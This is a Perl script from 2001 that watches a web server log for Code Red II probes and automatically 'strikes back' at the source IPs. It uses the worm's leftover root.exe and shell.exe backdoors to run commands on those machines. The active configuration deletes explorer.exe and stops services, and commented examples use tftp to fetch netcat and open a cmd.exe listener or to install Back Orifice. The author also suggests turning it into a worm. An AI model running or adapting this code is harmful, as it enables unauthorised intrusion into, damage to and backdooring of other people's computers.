#!/usr/bin/perl
#
# strikeback.pl v0.1
#
# A little quickhack I wrote originally to strike back all these Code Red II
# infected IIS out there that try to attack my network. But it can easily
# be modified to strike back other URL based attacks.
# Also you turn it into a worm itself. Want to know how ? Think about it.
# On most systems there will be a C:\WINNT\SYSTEM32\LOGFILES ...
# The program attaches itself at your local webserver access logfile 
# ( apache format ) and watches for incoming "GET default.ida?XXXX...."
# and, because CR II seems sometimes to transmit a broken URL, for "XXXXX" 
# requests. If you haven't have a webserver at hand, try "urlsnarf" which
# comes with the famous dsniff program : http://www.monkey.org/~dugsong/dsniff
# './urlsnarf -i eth0 "XXXXXX|default\.ida" >mylogfile' for example.
# Below I'll show you some examples. Make up your own strike back rules.
# Yes, this program can be considered as evil. But nearly two months after
# the release of the Code Red worm it's time to kick all these bloody
# stupid, overpayed IIS admins, that are showing their  incompetance by having
# not yet patched their systems, in the ass! WHAT DO YOU THING YOU GET PAYED FOR?
#
# (c) by debaser 08/10/2001   debaser () freemail ru
# 
# DISCLAIMER: It's easy to brake the law with this program! If you do this,
# you are on your own! I'm in no way responsible for what you used this 
# program to do!
#
# greetings to the people at HAL2001 that blocked my MAC for outgoing
# traffic after I have tested my tool at the campus ;)
# and my congratulations to the HAL2001 organizer: it was a really 
# interesting and funny camp!

#
# config
#
# where is the logfile ?    
$apache_log = "/var/log/httpd/access.log";
#
# you always want to log the output, won't you ?
$root_log = "test.log";
#
# use a proxy if you have one
$proxy = "";
$proxy_port = 8080;
# 
# the character defined here can't be used in URLs, so choose with care
$delimiter = "#";    
#
# if defined, generate some debug infos
$debug = "";
#
# @commands define the commands we will try to execute. The format of
# each entry is: "<command_number>d<method>d<command>d<response>d<ok>d<notok>"
# with:
#   command_number = serial number of this command
#   method         = HTTP method ( GET, POST, HEAD ...)
#   command        = the command to try ( eg. /scripts/root.exe?/c+dir )
#   response       = the server response if the command was executed successful ("1" means whatever )
#   ok             = if succesful, what to do next (command_number)
#   notok          = else execute this ( where "0" means exit and "1" whatever )
# "d" stands for "delimiter" as defined above
#
# examples:
#
# simply try to stop the offending server
# @commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#3',
#              '2#GET#/scripts/root.exe?/c+net+stop#1#0#0',
#              '3#GET#/scripts/shell.exe?/c+dir#200#4#5',
#              '4#GET#/scripts/shell.exe?/c+net+stop#1#0#0');
#
# not very nice to administrate a system via "GET..." so let us install
# a "netcat" backdoor 
# @commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#0',
#              '2#GET#/scripts/root.exe?/c+tftp.exe+"-i"+192.168.23.42+GET+NETCAT.EXE+c:/winnt/system32#1#3#3',
#              '3#GET#/scripts/root.exe?/c+netcat.exe+"-n"+"-l"+"-v"+"-p"+6667+"-e"+cmd.exe',);
#
# or want to install back orifice ?
# (of course you have to setup a tftp server first)
# @commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#4',
#              '2#GET#/scripts/root.exe?/c+tftp.exe+"-i"+192.168.23.42+GET+BO2K.EXE+"c:\winnt\system32\drivers#1#3#3',
#              '3#GET#/scripts/root.exe?/c+"c:\winnt\system32\drivers\BO2K.EXE"#1#0#0',
#              '4#GET#/scripts/shell.exe?/c+dir#200#5#6',
#              '5#GET#/scripts/shell.exe?/c+copy+shell.exe+root.exe#1#2#2',
#              '6#GET#/scripts/sensepost.exe?/c+dir#200#7#8',
#              '7#GET#/scripts/sensepost.exe?/c+copy+sensepost.exe+root.exe#1#2#2',
#              '8#GET#/c/winnt/system32/cmd.exe?/c+dir#200#9#0',
#              '9#GET#/c/winnt/system32/cmd.exe?/c+copy+"c:\winnt\system32\cmd.exe"+"c:\inetpub\scripts\root.exe"#1#2#2');
#
# and so on... I thing you got the idea.
#
#
@commands = ('1#GET#/scripts/root.exe?/c+dir#200#2#0',
             '2#GET#/scripts/root.exe?/c+ren+root.exe+xxx.exe#1#3#3',
             '3#GET#/scripts/xxx.exe?/c+del+"c:\explorer.exe"#1#4#4',
             '4#GET#/scripts/xxx.exe?/c+del+"d:\explorer.exe"#1#5#5',
             '5#GET#/scripts/xxx.exe?/c+echo+xxx+%3e+"c:\notworm"#1#6#6',
             '6#GET#/scripts/xxx.exe?/c+net+stop#1#0#0');

#
# end of config part
#

use IO::Seekable;
use IO::Socket;
use IO::Handle;
use File::stat;

$SIG{'INT'}     = 'got_sig';
$SIG{'KILL'}    = 'got_sig';

sub got_sig {
  $endtime = time;
  print "       IP             :      first time seen       :      last time seen\n";
  print "-------------------------------------------------------------------------\n";
  foreach (keys %infected ) {
    printf("%-22s:%28s:%28s\n",$_, $infected{$_}[0], $infected{$_}[1]);
  }
  print "Exit.\n";
  exit;
}

$idle = 3;
$fileend = 0;
$log=0;

open (LOGFILE, $apache_log) or die "Can't open APACHE logfile $apache_log: $!";
if ( $root_log ne "" ) {
  open (RLOG, ">> $root_log") or die "Can't open $root_log: $!";
  $log=1;
  RLOG->autoflush(1);
}

%infected = ();

for (;;) {					# emulate tail -f
  while (<LOGFILE>) {
    if ( $fileend == 1 ) {              	# are we at the end of file ?
      if ( $_ =~ /XXXXXX|NNNNN|\.ida/ ) {		# code red ?     
        ($ip, undef, undef, $date, $toffset, $rest) = split(/ /,$_);
        $cmd_nr = 1;
        if ( $infected{$ip}[0] ) {		# first time attack ?
          $infected{$ip}[1] = "$date $toffset"; # have you seen before, don't strike back, only remember timestamp
          if ( $debug ) { print "DEBUG: not the first time for $ip\n"; }
        }
        else {
          $infected{$ip}[0] = "$date $toffset";
          if ( $debug ) { print "DEBUG: first time for $ip\n"; }
          while ( $cmd_nr != 0) {
            (undef, $method, $command, $sresp, $ok, $notok) = split(/[$delimiter]/,$commands[$cmd_nr-1]);
            $got = "";
            if ( $proxy ne "" ) { connect2("$method http://$ip$command HTTP/1.1"); }
            else { connect2("$method $command HTTP/1.1"); }
            if ( $debug ) { print "DEBUG: nr.: $cmd_nr $method http://$ip$command HTTP/1.1  wait for: $sresp\n"; }
            if ($sresp == 1 ) { $cmd_nr = $ok; }
            else {
              if ($got == $sresp) { 
                $cmd_nr = $ok; 
                if ( $log ==1 ) { print RLOG "GOTCHA: $ip   $date $toffset   $method $command\n"; }
              }
              else { $cmd_nr = $notok; }
            }
          }
        }
        if ( $debug ) { print "DEBUG: skip to next host.\n"; }
      }
    }
  }
  $fileend = 1;
  exit if stat(*LOGFILE)->nlink == 0;		# exit if LOGFILE was deleted
  sleep $idle;
  LOGFILE->clearerr();				# clear EOF flag
}
if ( $log == 1 ) { close(RLOG); }

sub connect2 {
  my ($send) = @_;
  if ( $debug ) { print " DEBUG: CONNECT $ip...\n"; }
  eval {
    local $SIG{'ALRM'} = sub { die "Timeout" };
    alarm(120);
    if ( $proxy ne "" ) {
      $socket = IO::Socket::INET->new(PeerAddr => $proxy,
                                      PeerPort => $proxy_port,
                                      Proto    => "tcp",
                                      Timeout  => 60,
                                      Type     => SOCK_STREAM);
    }
    else { $socket = IO::Socket::INET->new(PeerAddr => $ip,
                                           PeerPort => 80,
                                           Proto    => "tcp",
                                           Timeout  => 60,
                                           Type     => SOCK_STREAM);
    }
    if ( $socket ) {
      if ( $debug ) { print "DEBUG: WE_SEND: $send\n"; }
      print $socket "$send\n\n";
      if ( $log == 1 ) {
        print RLOG "\n--------------------------------------------\n";
        print RLOG "$ip    $date $toffset   $method $command\n";
      }
      $header = 1; $html = 0;
      while ($response = <$socket> ) {
        chop($response); chop($response);
        if (($response eq "") || ($response eq " ")) { $header = 0; }	# blank line indicate end of header
        if ($header == 1) {
          if ( $debug ) { print "DEBUG: HEADER: \"$response\"\n"; }
          ($var, $value, undef) = split(/\s+/,$response); 
          if ($var =~ /^HTTP\/1\./) { $got = $value; }
        }
        else {
          if ( $response =~ /^\</ ) { $html = 1; }	# if html page, skip
          if ( $html == 0 ) {
            if ( $debug ) { print "DEBUG: OUTPUT: $response\n"; }
            if ( $log ==1 ) { print RLOG "$response\n"; } 
          } 
        }
      }
      alarm(0);
      if ( $debug ) { print "DEBUG: reseting timeout.\n"; }
      close($socket);
    }
    else  { if ( $debug ) { print "DEBUG: no socket ?\n"; } }
  };
  if ($@ and ($@ =~ /Timeout/)) {
    if ( $debug ) { print "DEBUG: got timeout.\n"; }
    alarm(0);
    close($socket);
    return 1;
  }
}

